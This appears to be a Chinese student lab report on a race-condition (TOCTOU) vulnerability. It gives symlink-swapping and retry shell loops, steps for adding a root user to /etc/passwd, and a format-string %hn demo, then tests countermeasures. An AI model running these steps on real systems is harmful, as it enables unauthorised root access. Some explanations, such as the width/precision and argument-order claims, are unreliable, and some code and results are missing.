Race_Condition
1.查看这段代码的执行结果,解释%.20d和%hn的含义。
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%hn\n", num, &num);
printf("After: num = %#x \n", num);
}
2.解释linux用root执行下面这条命令
sysctl -w kernel.randomize_va_space=0
的含义和用途。
3.描述fprintf、printf、sprintf、snprintf、vprintf这几个函数的功能和差异。
Race Condition Vulnerability Lab
<1>.重写拥有者为root的任意文件
(1)首先禁用保护机制
由于实验环境开启了针对竞态条件攻击的保护,所以需要先关掉保护。
(2)切换为root用户,执行以下操作
新建root_file文件,这个文件只允许root用户才可以修改,我们的目的就是使用seed用户在其中写入数据。
(3)切换为seed用户,执行以下操作。
新建input文件,里面存放的是我们希望写入到root_file文件中的语句。例如在里面放入“Hello,LXJ”。
新建temp文件,作为我们的辅助目标文件。因为我们希望利用我们自己创建的temp文件作为假的目标文件,从而骗过权限检查,在打开文件时再将文件偷偷换掉。
新建脚本文件begin.sh。这个文件的目的是不断将/tmp/XYZ文件交替连接到我们自己建立的辅助目标文件temp和真实需要修改的目标文件root_file。以此希望能够碰到权限检查是XYZ指向temp文件,文件打开时打开的是root_file文件。begin.sh脚本文件内容如下。并且赋予自己执行权限。
while true
do
ln -sf /home/seed/Desktop/task1/temp /tmp/XYZ
ln -sf /home/seed/Desktop/task1/root_file /tmp/XYZ
done
echo "STOP... The file has been changed"
新建脚本文件try.sh。这个文件的目的不断地将input文件的内容作为输入,调用vulp程序,进行权限判断和目标文件的打开、写入。当我们成功将root_file文件写入信息时,此程序终止。try.sh脚本文件内容如下。同样也赋予自己执行权限。
old=`ls -l /home/seed/Desktop/task1/root_file`
new=`ls -l /home/seed/Desktop/task1/root_file`
while [ "$old" = "$new" ]
do
./vulp < input
new=`ls -l /home/seed/Desktop/task1/root_file`
done
echo "STOP... The file has been changed"
(4)执行攻击操作
首先运行begin.sh文件
接着运行try.sh文件
此时我们再查看root_file文件,发现我们已经使用seed用户权限在root_file文件中写入了“Hello,LXJ”。
<2>.获取root权限
我将上述的root_file文件换为etc目录下passwd文件。先使用openssl生成加密的密码,得到对应的应放于input中的输入
再按一中步骤将用户名:LXJ,密码:123456放入passwd中。
切换到用户LXJ,输入密码,发现可以获得root权限。
增加更多的竞态条件,减小攻击者攻击成功的概率。即重复access和fopen函数的次数,增加嵌套。
将原代码增加一层嵌套判断如下:
/* vulp.c */
#include
#include
#include
int main()
{
char * fn = "/tmp/XYZ";
char buffer[100];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
if(!access(fn, W_OK)){
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
}
else printf("No permission \n");
}
重新将其编译:
按题一中方法执行,得到如下结果:
可以明显感觉到,try.sh脚本文件的执行时间加长。分析其原因,当我们增加了一层权限判断后,相当于在整个权限检查和文件打开的时间中,权限判断的时间比重增加,使得遇到文件刚好被偷换的概率减少。
为了解决竞态条件的隐患,使用setuid系统调用暂时禁止root权限,当需要时再恢复。将原代码修改如下:
/* vulp.c */
#include
#include
#include
int main()
{
char * fn = "/tmp/XYZ";
char buffer[60];
FILE *fp;
/* get user input */
scanf("%50s", buffer );
uid_t euid = geteuid();
seteuid(getuid());
if(!access(fn, W_OK)){
fp = fopen(fn, "a+");
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
else printf("No permission \n");
seteuid(euid);
}
重新将其编译:
按题一中方法执行,得到如下结果:
发现一直无法运行出结果,即使用setuid系统调用暂时禁止root权限后,无法再成功攻击。
重新开启保护机制,重新执行task1的代码,发现攻击结果如下:
该机制应该是当检测到权限所有者和链接指向文件不匹配时,中止链接。是一个较为优秀的保护机制。
main()
{
int num=0x41414141;
printf("Before: num = %#x \n", num);
printf("%.20d%hn\n", num, &num);
printf("After: num = %#x \n", num);
}
%.mn格式中m表示输出宽度,n表示精度控制,d表示以十进制形式输出带符号整数。所以%20d表示输出精度为20的整形量。
%hn中,h表示按短整型量输出,%n 表示将已输出的字符个数放入到变元指向的变量中。在printf()调用返回后,这个变量将包含一个遇到%n是字符输出的数目。
这条命令的作用是关闭系统的地址空间随机化这一功能。Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。
int printf(const char *format, ...);
printf()函数是格式化输出函数, 一般用于向标准输出设备按规定格式输出信息。格式输出,它是c语言中产生格式化输出的函数(在 stdio.h 中定义)。用于向终端(显示器、控制台等)输出字符。格式控制由要输出的文字和数据格式说明组成。要输出的文字除了可以使用字母、数字、空格和一些数字符号以外,还可以使用一些转义字符表示特殊的含义。
其中式样化字符串包括两部分内容: 一部分是正常字符, 这些字符将按原样输出;另一部分是式样化规定字符, 以"%"开端, 后跟一个或几个规定字符, 用来确定输出内容式样。 参量表是需求输出的一系列参数, 其个数务必与式样化字符串所阐明的输出参数个数一样多, 各参数之间用","分开, 且顺序逐一对应, 不然将会出现意想不到的过失。
函数printf从右到左压栈,然后将先读取放到栈底,最后读取的放在栈顶,处理时候是从栈顶开始的,所以我们看见的结果是,从右边开始处理的。
int fprintf(FILE *stream, const char *format, ...);
fprintf传送格式化输出到一个文件中。根据指定的format(格式)发送信息(参数)到由stream(流)指定的文件,fprintf只能和printf一样工作。若成功则返回值是输出的字符数,发生错误时返回一个负值。第一个参数是文件指针stream,后面的参数就是printf中的参数,其功能就是把这些输出送到文件指针指定的文件中,如果想要像printf一样将输出送到标准输出,只需要将文件指针FILE指定为stdout即可。
int sprintf(char *str, const char *format, ...);
Return: 存在数组的字符数量 if OK, 负数 if encoding error
sprintf,字符串格式化命令,主要功能是把格式化的数据写入某个字符串中。第一个参数str是char型指针,指向将要写入的字符串的缓冲区。后面第二个参数是格式化字符串。sprintf 是个变参函数。使用sprintf 对于写入buffer的字符数是没有限制的,这就存在了buffer溢出的可能性。
int snprintf(char *str, size_t size, const char *format, ...);
//Return: 存在数组的字符数量 if 缓冲区足够大, 负数 if encoding error
snprintf函数与sprintf函数类似。它也是将可变个参数按照format格式化成字符串,然后将其复制到str中。
(1) 如果格式化后的字符串长度 < size,则将此字符串全部复制到str中,并给其后添加一个字符串结束符(‘\0’);
(2) 如果格式化后的字符串长度 >= size,则只将其中的(size-1)个字符复制到str中,并给其后添加一个字符串结束符(‘\0’),返回值为格式化后的字符串的长度。
int vprintf(const char *format, va_list ap);
vprintf是一种函数,功能是送格式化输出到stdout中。printf的功能就是用它来实现的,所不同的是,它用一个参数取代了变长参数表,且此参数是通
过调用
va_start宏进行初始化。同样,vfprintf和vsprintf函数分别与fprintf和sprintf函数类似。